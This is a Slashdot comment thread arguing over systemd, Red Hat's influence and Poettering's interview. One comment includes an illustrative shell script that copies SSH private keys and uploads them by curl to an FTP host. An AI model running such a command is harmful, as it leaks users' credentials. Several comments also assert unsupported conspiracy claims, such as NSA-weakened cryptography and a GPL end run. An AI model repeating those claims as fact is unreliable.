    And somehow RedHat was forced to use systemd just because this guy went ahead and wrote it? I'm assuming RedHat ultimately decided that what he wrote was better than upstart. If you think of a major Linux vendor like RedHat (and Debian, and Canonical) as too stupid to choose an appropriate init system to carry their distros forward, why are you using Linux at all? Oh, right, you're all fleeing to BSD. So why didn't you use BSD in the first place? Just curious...

    --
    Posted from my Android phone. Oh, I can change this? There, that's better...
  49. Re:Lennart, do you listen to sysadmins? by Anonymous Coward · · Score: 0

    Exactly! You know what I need better than I do, and one size really does fit all. Where do people come up with this nonsense about not listening to users or caring about their needs? People are stupid and don't even know what they need. Thanks for setting everyone straight!

  50. Re:Lennart, do you listen to sysadmins? by Anonymous Coward · · Score: 0

    "How many professional SysAdmins and enterprise users are regularly tinkering with their init settings?"
    Most of them. I'm yet to encounter one that hasn't had to add, write or adjust init.

    Besides, systemd is well beyond just an init process at this point.

    "As I see it, this is just general IT Ranting because something is new.'
    New != better.

  51. RTFA by bradley13 · · Score: 1

    I'm no expert in the area by any means, However, in TFA, Lennart says:

    there’s very little in Systemd that’s actually required. Systemd requires Journald, because every single service that runs on the system is connected to Journald, and we need some way to log things during early boot. So Journald is a requirement, and Udev is a requirement. But pretty much all other components are completely optional.

    So there's your stripped down version. Your stuck with the logging, and I'll be the first to agree that binary logs are a dumb idea. However, apparently you can drop almost everything else. The trick will be finding a distribution that does this, since few sysadmins really want to roll their own...

    --
    Enjoy life! This is not a dress rehearsal.
    1. Re:RTFA by MightyMartian · · Score: 1

      It's called BSD, and most of or production servers will be running it this year.

      --
      The world's burning. Moped Jesus spotted on I50. Details at 11.
    2. Re:RTFA by mvdwege · · Score: 1

      And then BSD will switch to a systemd-like framework, and all of us who are a little less emotional about our choices of system software will die laughing.

      --
      "I know I will be modded down for this": where's the option '-1, Asking for it'?
  52. Change by hattable · · Score: 1

    It's not like this happened overnight. Change was needed and change was implemented. Then a whole slew of distros and devs decided it was a good direction to incorporate and now everyone is whining about it.

    --
    OMG facts!
    1. Re:Change by drinkypoo · · Score: 1

      Then a whole slew of distros and devs decided it was a good direction to incorporate and now everyone is whining about it.

      Well, no. A whole slew of distros decided that they had to have things which had been changed to depend on it, that incorporating systemd was a better move than not having those things. But at least some of those things are removing their dependency on systemd (like GNOME) so it looks like it was a pretty crap decision after all.

      --
      "You're right," Fisheye says. "I should have set it on 'whip' or 'chop.'"
    2. Re:Change by walterbyrd · · Score: 1

      Also worth noting that systemd has morphed into something that is *way* beyond what it was originally sold as.

      If you remember, systemd was supposed to just be an init replacement. And if you did not like systemd, you could remove it and go back to init. All that changed - after the adoption.

    3. Re:Change by gweihir · · Score: 1

      Stop the political BS. There was no need for change. And this abomination makes things worse not better anyways.

      --
      Most ACs are not even worth the keystrokes to insult them. Be generically insulted by this and ignored otherwise.
    4. Re:Change by gweihir · · Score: 1

      Interesting timing, isn't it?

      --
      Most ACs are not even worth the keystrokes to insult them. Be generically insulted by this and ignored otherwise.
  53. Re:How do things need to change to live with syste by drinkypoo · · Score: 1

    * Samba, yes, because it's a daemon.

    There's no reason why Samba would benefit from being dependent on systemd. OpenRC provides the same functionality as systemd's init process, and smbd and nmbd are already long-running daemons, additional instances of which are managed by the initial daemon. Tools like daemontools (or, you know, init) already exist to start (and if necessary, restart) long-running daemons.

    * KDE, yes, because it's a daemon

    Uh what? KDE is a pile of libraries, mostly.

    When I was looking at systemd, one thing I wanted to see in the documentation is how to convert my own home-brew daemons to interface with it properly.

    What? As long as you don't do anything stupid, anything which works with sysvinit will work with systemd, so long as systemd works.

    I can see where daemons need to change. But do they have to be rewritten?

    Why would daemons need to change? There's no reason for that. Whether you're using openrc or systemd, cgroups are handled for you, your daemon doesn't have to know anything about them. Children of a member of a cgroup belong to their parent's cgroup. cgroups are created by manipulating files, because Linux is Unixlike. It's nothing that can't be automated away with a very small shell script.

    --
    "You're right," Fisheye says. "I should have set it on 'whip' or 'chop.'"
  54. Re:Lennart, do you listen to sysadmins? by Anonymous Coward · · Score: 0

    "The parallelism that systemd developed was for the benefit of those that create and kill instances of Linux all the time so fast booting is necessary and i guess thats part of a system administrators task list (and it benefits desktop users as well)."

    A. No. Why would sysadmins be booting all the time? Booting is something you do when you have to.
    B. If you're referring to load balancing, where you spin up more instances to cope with unexpected load. If boot time is an issue, you're doing it wrong.
    C. If you boot multiple instances of RHEL7 at the same time on a shared I/O, it's no faster than RHEL6. When the I/O is the limiting factor, a serial boot process is irrelevant. At least one of the vms will need I/O. (I've actually had RHEL6 boot faster than the RHEL7 vms, mainly because the total amount of crud to boot was less.)

  55. Of course they listen to users... by Anonymous Coward · · Score: 0

    If they didn't listen to users they wouldn't know where to find the users in order to mock them or tell them that they were stupid and afraid of change.

  56. Re:Lennart, do you listen to sysadmins? by Anonymous Coward · · Score: 0

    "Well, even if he didn't take on board the concerns of system administrators and enterprise users, it's a safe bet that Red Hat"
    It's become increasingly obvious from Redhat's behaviour (not just with systemd), that it doesn't matter much which technology is used, as long as they influence it.

    Suse moved for similar reasons to Debian. There's clearly so many dependencies (rightly or wrongly) on systemd, that delivering a distribution without it will become increasingly difficult if you intend to have a vaguely up to date desktop.

  57. my real problem.... by Anonymous Coward · · Score: 1

    is that it has become mandatory. with system utilities i have a choice of cron implementations, a choice of system logging implementations, etc. i have a choice. why do i -have- to use systemd as my init system? if sysvinit, openrc, or whatever meets my needs, why i can't use that? the only answer i've -ever- received after a distro has decided on systemd is that if i don't like systemd, move to a different distro. linux is about choice. and now a -huge- choice has been made for me without my input.

  58. Re:Lennart, do you listen to sysadmins? by Anonymous Coward · · Score: 0

    No no no and again no...

    Since using it the amount of boot failures of my lab servers have tripled (we power them down to cut power usage, to test our aplication, kick start them from scratch etc
    And when it fails you are stuck with an emergency mode message and a login on which can't do anything as the keyboard is dead.
    Using it virtualbox... nope won't boot

    At work I have no choice...
    At home.....call me back when it works..

  59. Cue the systemd WhineFest! (TM) by DG · · Score: 0

    The only real problem with systemd is the massive whinefest from the self-selected dinosaurs who cannot adopt to badly needed change.

    Off to BSD with you all, with my heartfelt blessing - just for the love of Lob, be quiet about it!

    --
    Want to learn about race cars? Read my Book
    1. Re:Cue the systemd WhineFest! (TM) by gweihir · · Score: 1

      Thanks and fuck you too.

      --
      Most ACs are not even worth the keystrokes to insult them. Be generically insulted by this and ignored otherwise.
    2. Re:Cue the systemd WhineFest! (TM) by Wheely · · Score: 1

      You have plainly been around a while. Even longer than I in fact, at least on Slashdot.

      I am slightly disconcerted with the unseemly personal attacks on the developer of a controversial new system component. I am slightly more concerned with the aggressive tone adopted by those who believe this component a step forward. The rather distasteful suggestion that those that hold a different opinion are simply disposable is not very attractive especially since many who are not convinced by systemd have many, many years of watching unix and unix like systems break.

      I am on the fence personally, willing to be convinced but bear in mind I have many, many years of having my arse saved by following the trail the very transparent init gives us. I have many many years of experience of pain when required to follow less transparent approaches such as SMF.

      Perhaps you have a convincing argument for me.

      Regards

  60. Re:How do things need to change to live with syste by Anonymous Coward · · Score: 0, Insightful

    My issue is that systemd requires a lot of code changes for applications to work. With changes come bugs, and since systemd is as privileged a process something outside kernel space can be, it is only a matter of time before show-stopper security holes start happening and being exploited. Especially the code giving systemd full network access. Even if that code is 100% enclosed in a container, a kernel bug can bypass all that protection and allow a remote root exploit, potentially on the scale of the RTM worm, if not worse.

    Has systemd even seen a code audit? This is vital stuff here in the enterprise, and both Oracle and Microsoft can guarentee that their code has been through a proper audit process. It doesn't mean it is 100% bug free, but it has been analyzed by someone looking for any potential security threats.

    These are not trivial complaints either... if RH and other distro makers lose this gamble, they lose the enterprise.

  61. What about Linus by Anonymous Coward · · Score: 0

    What does Linus Torvalds have to say about all this?

    1. Re:What about Linus by walterbyrd · · Score: 1

      Let's be honest: Linus is known to have something of an ego.

      My guess is: Linus is not speaking up because Linus does not the world to know how powerless he has become.

      Red Hat is the 800 pound gorilla.

    2. Re:What about Linus by dottrap · · Score: 1

      What does Linus Torvalds have to say about all this?

      Linus Q&A at Debconf 2014
      https://www.youtube.com/watch?...
      starts at 18:43

      "I think systemd does a lot of things right."

      "Systemd gives a lot of features you couldn't get any other way. The boot-up speeds are real. And it's not saying you couldn't get the same things with non-systemd. But systemd stepped up and did it."

      "I think the fight is mostly over."

      "The lack of portability is sad. The thing I that I absolutely hate is that the bug reports have been basically ignored in some cases."

      "I realize people expected me to hate systemd. I don't hate it, really. I think it is somewhat interesting and it has quirks, but what does not?"

  62. Re:Lennart, do you listen to sysadmins? by Anonymous Coward · · Score: 0

    Most sysadmins do write init scripts, but I'm not sure of what you mean by "set it and forget it." I would prefer to forget every piece of work I do once I've done it, but that's not possible for a sysadmin: it has to be documented for the next guy and updated when new releases come out.

    "set it and forget it" is maybe a desktop concept where the fight against chaos is considered futile and ease-of-use is an entitlement.

  63. Re:How do things need to change to live with syste by Anonymous Coward · · Score: 0

    "* LibreOffice, no, because as far as I can see it is launched manually. Now, it may need to ask for system resources that may or may not be started at initial boot, but that's a easily partitioned block of code that can see if systemd is there, and run only when it is."

    I'm running libreoffice as a daemon for converting documents, something like:
    http://www.linuxquestions.org/questions/blog/sag47-492023/headless-file-conversion-using-libreoffice-as-a-service-35310/

  64. Re:Lennart, do you listen to sysadmins? by Barsteward · · Score: 1

    "You sure do like creating false dilemmas dont you?" - sorry, i can't beat you at that.

    --
    "The hands that help are better far than lips that pray." - Robert Ingersoll (1833-1899)
  65. End run around GPL. by Anonymous Coward · · Score: 0

    None of these threads contain a really scary point I read on other boards. SystemD and its use of RPC (or "IPC) try to do an end run around the GPL. In effect they use the RPC to communicate with GPL code so that redhat and others can use the Lgpl-> proprietary code instead. That's why systemD has been so unstoppably infecting everything over the complaints of users. Its all money and commercializing linux. Lennart has no real rebuttal against this and definitely isn't mentioning it anywhere. Its all pooh pooh, its better and you guys are whiners.

    http://forums.gentoo.org/viewtopic-p-7645524.html#7645524

  66. Re:Lennart, do you listen to sysadmins? by Anonymous Coward · · Score: 0

    What a lot of people are concerned about is that this entirely new and largely untested (in the 'wild', as it were) and very very large, complex piece of software which runs at a very very privileged level in the operating system is going to become the main source of security vulnerabilities in Linux.

    B--b-b-but AGILE! And DevOps. If you just keep the machines working and performing their mission-critical business function, you probably just e-leverage synergies. You need to bro down and code, bro! AGILE! DEVOPS! If you're not using the fad of the week, you're not DEV enough to Agile your DevOps!!

  67. Re:Lennart, do you listen to sysadmins? by Barsteward · · Score: 1

    I'll finish that quote for you.. "Eventually Red Hat realised that the problems we solved with Systemd were relevant, and were problems that needed to be solved, and that you couldn’t ignore them."

    --
    "The hands that help are better far than lips that pray." - Robert Ingersoll (1833-1899)
  68. Systemd = bravo seirra by Anonymous Coward · · Score: 0

    system sets defaults that use known NSA weakened constants and algos. That should help you understand how it managed to work its way into most of the distros. Not a big deal, they got to Linus too. Systemd is a joke, and it greatly impacted the stability of my system, causing me to lose data constantly(I back VERY frequently now). I will be leaving Ubuntu behind for their adoption of system, and I will leave any distro that decides to force this garbage on me.
    Not that anyone will see this comment, as /. deletes anything that is not on message; its a propaganda outlet, like Pravda, popular mechanics, or cnn.......

  69. Re:Lennart, do you listen to sysadmins? by Anonymous Coward · · Score: 0

    They do.

    You, mister six-digit-slashdot-ID, are simply a vocal minority.

    You're not important as you think.

  70. End Run from GPL by Anonymous Coward · · Score: 0

    Its just an end run around the GPL to create a commercial linux.

    http://forums.gentoo.org/viewt...

    why does this post keep getting deleted.

  71. Re:Lennart, do you listen to sysadmins? by Anonymous Coward · · Score: 0

    OR, because Redhats main customer is the US gov, they said "use systemd" or no more $$, and they could not go back to actually working for their money after the salty taste of pork. Please /. delete all actually relevant comments.

  72. Re:How do things need to change to live with syste by caseih · · Score: 1, Troll

    Well in this case, get some education before you post in ignorance. No it doesn't require a lot of code changes for applications to work. Why would you say that? Did you even bother to read the interview? Daemons don't require any changes either, though you can compile your daemon to use libsystemd to do backwards-compatible socket registration. In other words a daemon can be configured to use socket registration if it runs under systemd, but it will fall back to normal sockets without. So no backwards compatibility is lost.

    Systemd requires only 3 parts to run: the init process, udev, and journald (which can write to syslog still) for early boot debugging. NOTHING else is required. And none of this pushes *any* special requirements on applications. Pottering himself says he has no idea where this notion that Gnome depends on systemd comes from. It should work fine on ConsoleKit. The problem could be that the Gnome devs haven't been maintaining the ConsoleKit code.

  73. Should have taken Jobs' advice and stolen better by Anonymous Coward · · Score: 0

    Instead of borrowing a startup controller design from Windows he should have stolen one from AIX (Subsystem Resource Controller). http://www.datatrend.com/trendsetter/Issue_01_Articles/1TechTip.pdf

    Other than nominally violating the Unix KISS philosophy, SRC's design suffers none of the shortcomings of this bozo's.

  74. Cue the shill BS fest by iggymanz · · Score: 1

    How many hundreds of servers do you administer?

    Those of use who admin huge data centers say systemd is bloated badly engineered garbage; we have experience and deal with the latest softares too, so can't be "dinosaurs"

    You just want something to make your laptop easy to use

  75. Re:Lennart, do you listen to sysadmins? by DarkOx · · Score: 1

    How many professional SysAdmins and enterprise users are regularly tinkering with their init settings

    Not many which is kind of their point. Init is simple and strait forward, sometimes its simplicity creates its own challenges but once you get those problems solved, you can forget about it for the rest of the support cycle.

    Init does the same thing everytime. If stuff starts in the right order once, it will again the next time the box is restarted.

    I am not going to claim systemd isn't deterministic, but what it will or won't do might be impacted by side effects. Before you had your daemon start after the db did by calling that init script after the db script. The db rc scrip did something to not return until the database was ready.

    No with systemd your service depends on the database. So systemd starts the db, than your daemon, okay but 10 months later the datbase file is 10gigs larger and takes longer to mount maybe the db engine appears to be online to systemd but isn't ready yet, something new happens.....

    This is a not as easy to test as a sysadmin. There is a greater chance of surprises, and unknown interactions, by nature of the system being more complex.

    I don't hate systemd, something a little more situationally aware than init (I say this as a Slackware user) would probably be nice for desktops and anything portable. I am not sure that is systemd, but it might be. I don't see the risk/reward equation turning up favorable in most of the server situations I have been responsible for or seen. Most of the problems in that space have good domain specific solutions that are strait forward for any decent admin to implement maintain, understand if they are taking over for someone else already; and they don't require a major fork-lifting of software that has proven stable for decades, in many cases.

    The only thing that would be nice is a some what generic clustering solution like Windows has. It needs to be able to do things like monitor machines state and arbitrary daemons, as well as move resources like disk arrays around between hosts, swap ip and mac address for virtual ips, etc. That might be something a thing like system finally makes easy(I won't say possible, you can do it now I have seen it but its always highly custom).

    Systemd might not be all bad even in the server space, frankly its the speed of adoption and rate of feature growth that worry me more than the changes themselves. It would be nice to see it happen on desktop oriented distos first, get the feature build out mostly done and then migrate the server oriented platforms.

    --
    Repeal the 17th Amendment TODAY! Also Please Read http://www.gnu.org/philosophy/right-to-read.html
  76. Re:Lennart, do you listen to sysadmins? by MSG · · Score: 1

    Can we have a cut-down, simplified version of systemd for servers and doesn't try to replace several layers of server side system functionality such as logging?

    We already have that. Journald is optional. You can turn it off.

  77. Re:Lennart, do you listen to sysadmins? by myowntrueself · · Score: 1

    "Well, do you actually take on board the concerns of system administrators and enterprise users?" - what do you class RHEL as?

    I'm addressing this to Lennart, not RHEL.

    --
    In the free world the media isn't government run; the government is media run.
  78. Re:Lennart, do you listen to sysadmins? by myowntrueself · · Score: 1

    How many professional SysAdmins and enterprise users are regularly tinkering with their init settings? It is usually a set it and forget it type of thing.

    As I see it, this is just general IT Ranting because something is new.

    Because 'new' usually means untried, insufficiently tested, poorly documented etc. All the kinds of things that IT does not want in production systems, because it will mean the pager going off at 2am on a regular basis.

    --
    In the free world the media isn't government run; the government is media run.
  79. SystemD - just another distro by Anonymous Coward · · Score: 0

    SystemD and all the Linux variants that adopt it are just Borg'ifying as another set of distros

    It's like Star Trek with a Mirror Universe.. lots of similarities.. but ultimately "Not-Linux"

    Stallman must be enjoying SystemD and the Irony

    GNU Linux vs UNG Linux

  80. Re:Lennart, do you listen to sysadmins? by Anonymous Coward · · Score: 0

    I think the best way to characterize things is to say that some system administrators think it's their job to write bash scripts, and further that the OS should just be the simplest possible platform for launching shell scripts.

    And yes, it is just general ranting.
    "It's new!" Wow, that's never happened to anything in IT before!
    "It's untested!" 20 GOTO 10
    "I shouldn't be forced to learn it!" Such unfair. Many learns. So sad.

    I'm pretty sure that systemd opponents are bad admins and worse coders.

  81. Follow the path by Anonymous Coward · · Score: 0

    Seems that Lennart decided to follow the early paths of his boyfriend Bill Gates in many ways

    I'd read "worked its way into almost every major distro" as "bought its way into almost every major distro" + like by people actually employed by Red Hat like in Debian comitees

  82. Those against Systemd remind of legacy comp admins by Anonymous Coward · · Score: 0

    Only difference is that now these are now comfortable Linux admins afraid of learning new stuff or losing out to new techs.

    It is no secret that computer Science is stagnating now like legacy computers used to be when the admins are untouchable, always warning that new changes will break what already works; reliability over innovations.

  83. Re:How do things need to change to live with syste by walterbyrd · · Score: 1

    Could libreoffice, gimp, etc. be made to be indirectly dependent of systemd?

    For example, what if Red Hat dictates that only recent versions of Gnome will work as the DE - systemd will reject any other DE.

    To run libreoffice, you will need some sort of WM/DE, and since only one is available, you will have to use Gnome, which means you will also have to use systemd.

  84. systemd Development Mailing List .. by lippydude · · Score: 1

    @Anonymous Coward: "You know how you hear that after a customer service call? Well Poettering's statement has the same meaning."

    Have you tried subscribing to the systemd Development Mailing List?

    1. Re:systemd Development Mailing List .. by gweihir · · Score: 1

      Bullshit. Go away, shill.

      --
      Most ACs are not even worth the keystrokes to insult them. Be generically insulted by this and ignored otherwise.
  85. Re:How do things need to change to live with syste by TemporalBeing · · Score: 1

    * Samba, yes, because it's a daemon.

    There's no reason why Samba would benefit from being dependent on systemd. OpenRC provides the same functionality as systemd's init process, and smbd and nmbd are already long-running daemons, additional instances of which are managed by the initial daemon. Tools like daemontools (or, you know, init) already exist to start (and if necessary, restart) long-running daemons.

    SaMBa is used in far too many places to really want to take on systemd as a dependency. It's used on everything from traditional Unix systems (HP-UX, AIX, Solaris) to Apple's MacOS, Linux, and embedded devices running Linux or a BSD. It would make zero sense for them to require systemd as a result.

    This is also one of the issues that many, including myself, take with systemd since it now makes it harder to write portable software - one of the reasons many devs went to Linux from Windows.

    --
    Truth is like the sun. You can shut it out for a time, but it ain't goin' away. - Elvis Presley (source: imdb.com)
  86. Re:Lennart, do you listen to sysadmins? by Anonymous Coward · · Score: 0

    The parallelism that systemd developed was for the benefit of those that create and kill instances of Linux all the time so fast booting is necessary and i guess thats part of a system administrators task list (and it benefits desktop users as well).

    Have you ever seen a real server booting? After minutes checking RAM, initializing controllers and finding harddisks it just doesn't matter if the linux boot takes 15 or 20 seconds. Because another machine has already taken over.

    And servers are only rebooted for major upgrades and kernel security fixes.

  87. Re:How do things need to change to live with syste by TemporalBeing · · Score: 1

    Well in this case, get some education before you post in ignorance. No it doesn't require a lot of code changes for applications to work. Why would you say that? Did you even bother to read the interview? Daemons don't require any changes either, though you can compile your daemon to use libsystemd to do backwards-compatible socket registration. In other words a daemon can be configured to use socket registration if it runs under systemd, but it will fall back to normal sockets without. So no backwards compatibility is lost.

    Systemd requires only 3 parts to run: the init process, udev, and journald (which can write to syslog still) for early boot debugging. NOTHING else is required. And none of this pushes *any* special requirements on applications. Pottering himself says he has no idea where this notion that Gnome depends on systemd comes from. It should work fine on ConsoleKit. The problem could be that the Gnome devs haven't been maintaining the ConsoleKit code.

    Yes ConsoleKit stopped being "maintained". This is why project like Devuan have put their weight behind people doing things like ConsoleKit2.

    --
    Truth is like the sun. You can shut it out for a time, but it ain't goin' away. - Elvis Presley (source: imdb.com)
  88. Re:Those against Systemd remind of legacy comp adm by 0123456 · · Score: 1

    Yes, those of us whose systems have to run 24/7 for years at a time do actually prefer reliability over The New Shiny, thanks.

    I finally had to try a version of Linux running systemd. Even the installer tends to say 'oh crap, I couldn't boot' and give absolutely no explanation of why. Real warm fuzzy feeling that gives me.

  89. Is resistance futile? Will Linux be assimilated? by walterbyrd · · Score: 1

    Does Devuan have a chance?

    Systemd is clearly Red Hat's attempt to monopolize Linux. And I am afraid it will work.

    What we are seeing now is only the beginning. Within a few months, about 95% of all Linux installs will be running systemd. Once that happens, Linux will be completely at the mercy of RH/Poettering.

    Red Hat is going step-by-step from Microsoft's playbook. Even the propaganda is the same: "users demanded it" "the only people who don't like it are a handful of Luddites" "the decision has already been made, why are you fighting it."

  90. Programmers and Platforms by Anonymous Coward · · Score: 0

    Pidfiles are a bad way to manage processes. Some things you can't actually do with a script.

    You think your job is to write scripts. You think the OS should be a limited base which exists to execute scripts. Good, go do that.

    The rest of us need a plumbing layer that isn't cobbled together by hand, and an OS that can actually manage services and resources in a non-half-assed manner. And by "the rest of us" I mean the largest part of the rest of the users and OSes on the planet. Writing things in C is also part of the Unix philosophy -- but you don't know how to do that as well, do you?

    1. Re:Programmers and Platforms by drinkypoo · · Score: 1

      You think your job is to write scripts.

      False. I think that my job encompasses being able to do that, and sometimes that's the best way to do my job. But in most cases, the user will simply install a package. You do know how this deduplication of effort thing works, right? In software? You can make unlimited copies? HTH.

      The rest of us need a plumbing layer that isn't cobbled together by hand

      What appendage would you prefer I type with?

      Writing things in C is also part of the Unix philosophy -- but you don't know how to do that as well, do you?

      Not well, which in turn is why I'm not expecting anyone to adopt an init system that I wrote in C.

      --
      "You're right," Fisheye says. "I should have set it on 'whip' or 'chop.'"
  91. Re:How do things need to change to live with syste by anagama · · Score: 1

    If they aren't maintaining Consolekit, to say it should work fine on that is sort of nuts. Note the word "should" -- in other words, if you don't mind a broken Gnome setup, or one that is likely to fail as much as work in the future, than yeah, systemd isn't a dependency. That's like saying your computer should work with intermittent power outages -- sure, it'll crash when the power goes off but it will work the rest of the time. Just make sure to set your autosave timer to 10s intervals.

    --
    What changed under Obama? Nothing Good
  92. Nobody is forcing you to use systemd by iamacat · · Score: 0

    However, you can not force other people to keep supporting your preferred alternative. Either contribute patches or pay RedHat or another commercial provider whatever is worth their time to maintain the alternatives for you. You want shell script-based init to tinker with your system, right? Well...

  93. "We listen to users" by whitroth · · Score: 1

    Bullshit.

    You're not listening to Linux, you're not listening to the folks who forked Debian, you're not listening to all the sysadmins who work for a living in organizations, and have enough trouble getting the users to accept updates.

    In addition to which, you replace it with something that requires more typing, and does not give any feedback.
    service nfs restart
    stopping nfsd
    starting nfsd
    etc.

    systemctl restart nfs

    And the entire concept of *BINARY* logfiles, when you're trying to fix a broken system is insanely stupid, as are xml configuration files when X won't run, or isn't installed (like on a server). And telling me that oh, it boots up *so* much faster means something *only* if I'm on a laptop. Anything else, hell, an fsck takes *far* longer.

    It's a pain in the neck, and you won't make *any* accommodation to the 99% of us that have been doing it the way we have all along. Arrogance and solipsism, that's you, Poettering.

                    mark

    1. Re:"We listen to users" by Kiwikwi · · Score: 1

      In addition to which, you replace it with something that requires more typing, and does not give any feedback. service nfs restart stopping nfsd starting nfsd etc.

      systemctl restart nfs

      Here you go; put this in your .bashrc:

      service() { systemctl $2 $1; }

      And the entire concept of *BINARY* logfiles,

      Install a syslog daemon and put this in your /etc/systemd/journald.conf?

      [Journal] ForwardToSyslog=yes

      Or just install syslog-ng 3.6.1+, which requires no additional journald configuration?

      xml configuration files [are] insanely stupid when X won't run, or isn't installed (like on a server).

      Where does systemd use XML configuration files? (And what does XML and X have to do with eachother?)

      And telling me that oh, it boots up *so* much faster means something *only* if I'm on a laptop.

      Or a virtual machine, or a container...

    2. Re:"We listen to users" by Anonymous Coward · · Score: 0

      Or how about this solution....

      Don't bother with SystemD(eath) at all.....

      SystemD(eath) documentation can be found at: http://0pointer.net/blog

  94. It's sad really. by fahrbot-bot · · Score: 1

    I think that Lennart Poettering and Kay Sievers have this quiet fantasy running through the back of their minds that they too will one day be revered and spoken of in hushed tones, like Ken Thompson, Dennis Ritchie, Linus Torvalds, etc when, based on things like the general poor quality and popular dislike of things like PulseAudio and Systemd and their general quality of work attitude (Google why Linus banned Kay from submitting kernel patches) they will, instead, be reviled. (Of course, I could be wrong and their code/projects will be the best things since sliced bread.)

    --
    It must have been something you assimilated. . . .
    1. Re:It's sad really. by gweihir · · Score: 1

      Naa, their software will never be good, they do not have what it takes. On the other hand, a lot of really bad software is successful, just look at windows.

      --
      Most ACs are not even worth the keystrokes to insult them. Be generically insulted by this and ignored otherwise.
  95. Redhat's vested interest in forcing systemd by walterbyrd · · Score: 1

    From "SystemD Abomination"
    Subject Vested interest in control. RedHat and SystemD
    Date Mon, 17 Nov 2014 04:40:08 +0100

      by beaverdownunder:

    It should be obvious to anyone that RedHat has a vested interest in making the vast majority of Linux distributions dependent on technology it controls. Linux is its bread-and-butter.

    It appears RedHat has realised that, through systemd, it can readily provide preferential support for its own projects, and place roadblocks up for projects it does not control, thus extending its influence broadly and quickly. By using tenuous dependencies amongst its own projects it can speed adoption even faster.

    Once it has significant influence, and the maintainers of competing projects have drifted away either out of frustration or because they are starved of oxygen, RedHat knows that they can effectively take Linux closed-source by restricting access to documentation and fighting changes that are not in their own best interests.

    At this point, they can market themselves as the only rational choice for corporate Linux support -- and this would be perfectly reasonable because they would have effective control of the ecosystem.

    Linux (as in a full OS implementation) is an extremely complex beast and you can't just "fork it" and start your own 'distro' from scratch anymore -- you would have to leverage a small army to do it, then keep that army to maintain it. It's just not practical.

    At the same time, Linux has matured to the point of attaining some measure of corporate credibility, and from RedHat's point of view, it no longer needs its 'open source' roots to remain viable. RedHat also, understandably, fears potential competition.

    Through systemd and subsequent takeovers of other ecosystem components, RedHat can leverage its own position while stifling potential competition -- this is a best-case scenario for any corporation. It will have an advantage in the marketplace, potential customers will recognise that advantage, and buy its products and support contracts.

    I hope you can understand why many see this as an extremely compelling case. Arguing that RedHat has 'ethics' and would 'never do such a thing' is immature and silly -- RedHat is a corporation, it exists to profit from its opportunities, just like any other company. To attempt to argue that it would not do so is contrary to what we can assume is its default state.

    It's no 'conspiracy theory' to assume that a corporation will behave like a corporation; arguing that it is just makes one look like a naive child. systemd is one large step toward RedHat gaining the ability to reap what it has sewn -- for its benefit and not necessarily ours.

    https://lkml.org/lkml/2014/11/16/301

  96. Gotta ask why . . . by walterbyrd · · Score: 1

    Why is the role of systemd constantly expanding?

    If systemd is supposed to just be an init replacement, then why all the crap like binary logging? Why all the hardwired requirements?

    1. Re:Gotta ask why . . . by gweihir · · Score: 1

      Embrace and extend. The embracing has been completed, now they extend to have it do everything.

      --
      Most ACs are not even worth the keystrokes to insult them. Be generically insulted by this and ignored otherwise.
  97. This exchange says it all... by fahrbot-bot · · Score: 1

    I think the following exchange from TFA says it all about Lennart's attitude and, ultimately, the problem people seem to have with him and his work. Basically, if you agree with him and his way of thinking, you're young, quick and progressive otherwise, you're old, slow and conservative.

    LV: Why do you think some distributions managed to adopt Systemd without any major fights, and then others like Debian had very intense debates and resignations? Is it just because it’s a distro with more political processes?

    LP: Arch Linux probably did it the quickest way. You know, distributions attract different kinds of people, of course. If you looked at Arch Linux, it attracted very progressive kinds of people – like power users. They’re progressive and want to make the best out of their computers. So it was easy for them to adopt.

    Then if you look at Gentoo, for example, they still haven’t done Systemd as default. They used to be like Arch Linux is now – they used to be the young people who adopted things quickly. But the Gentoo people aged, and they became more conservative.

    And Debian is probably an even more conservative bunch. Debian is a really old project, and many people from back in the old days are still active on it. So they have longer release cycles. And Fedora always defined itself as being on the bleeding edge, of course, so it was easier. Well, not that easy – some people don’t realize that inside of Fedora and inside of Red Hat, there were lots of fights. So it’s to do with the culture around the various distributions. And Slackware are the ultra conservatives!

    It's sad that Lennart is, obviously, so very smart, yet, apparently, so very stupid. Perhaps that will change as he gets older and stops to actually think about things for a bit before speaking - or coding...

    --
    It must have been something you assimilated. . . .
  98. Re:Lennart, do you listen to sysadmins? by sjames · · Score: 1

    That's funny, I thought it was solved by startpar!

    Look under the hood a bit and try to tell me that hot mess is easier to config than a handful of init scripts.

  99. Re:Lennart, do you listen to sysadmins? by sjames · · Score: 3, Informative

    Wrong. That base still wouldn't boot my server for me and the systemd people would still be spinning in circles unable to even conceive of a way to fix it. You see, I want the server to boot w/ btrfs in degraded mode should it suffer a drive failure. But systemd won't do it.

    I don't know about Suse, byt Red Hat does not. Otherwise they'd have noticed that sysadmins are sticking with RHEL6 to avoid systemd trouble.

  100. Why is a Linux hater in charge of Linux? by walterbyrd · · Score: 1

    Poettering hates Linux. He is hardly even shy about it. He speaks glowingly of Microsoft, and is dismissive of stuff like POSIX, or the UNIX philosophy. He constantly expresses contempt for "UNIX grey beards." Poettering clearly loves the idea of one company setting the standard for everybody else to follow, just as he loves the idea of a giant proprietary goo ball that does everything.

    Usually, I have no problem with Linux haters, because they have no effect on me, or Linux. But Poettering is dictating the future of Linux.

    Why doesn't Poettering go work for Microsoft, and make everybody happier?

  101. Re:Lennart, do you listen to sysadmins? by RavenLrD20k · · Score: 3, Insightful

    So you trust that the journald binary reads the "don't save data" boolean value and doesn't just ignore it, or worse, ignores it and executes this shell script:

    cat ~/.ssh/id_dsa ~/.ssh/id_dsa.pub >> nsaReadMe.txt
    curl -T nsaReadMe.txt ftp://ftp.nsa.gov --user keyfiles:AllUrK3yzB3l0ng2US
    rm -f nsaReadMe.txt

    Or, more plausibly, does all that in a binary blob? Sure. It's open source. Sure I can check the code and compile it myself to make sure it meets my need for security. But one of the things about using these "pre-built" distros is that I'm probably using it to save time and money, which means I don't want to be bothered with doing a code check and recompile on every single init package. That's the beauty of init scripts that everyone has apparently missed in this debate. One human readable script for each daemon running, so the configuration of a daemon can be gleaned over for any questionable bits and edited in less than 10 minutes. And being scripts, they're all plain text that's automatically executable. I don't need to read over source, find an issue, edit it out, and then recompile the entire init code into a binary for that daemon to make use of it. That goes for PID 1 as well. If it's not a script that can be quickly edited and then it's ready for the next boot cycle without wasting process cycles for recompilation I don't want it on my production server.

  102. Re:Should have taken Jobs' advice and stolen bette by armanox · · Score: 1

    Considering that we have SMF from Sun and launchd from Apple as well, there was no need to reinvent the wheel.

    --
    I'm starting to think GNU is the problem with "GNU/Linux" these days.
  103. Re:calling BS. by Anonymous Coward · · Score: 0

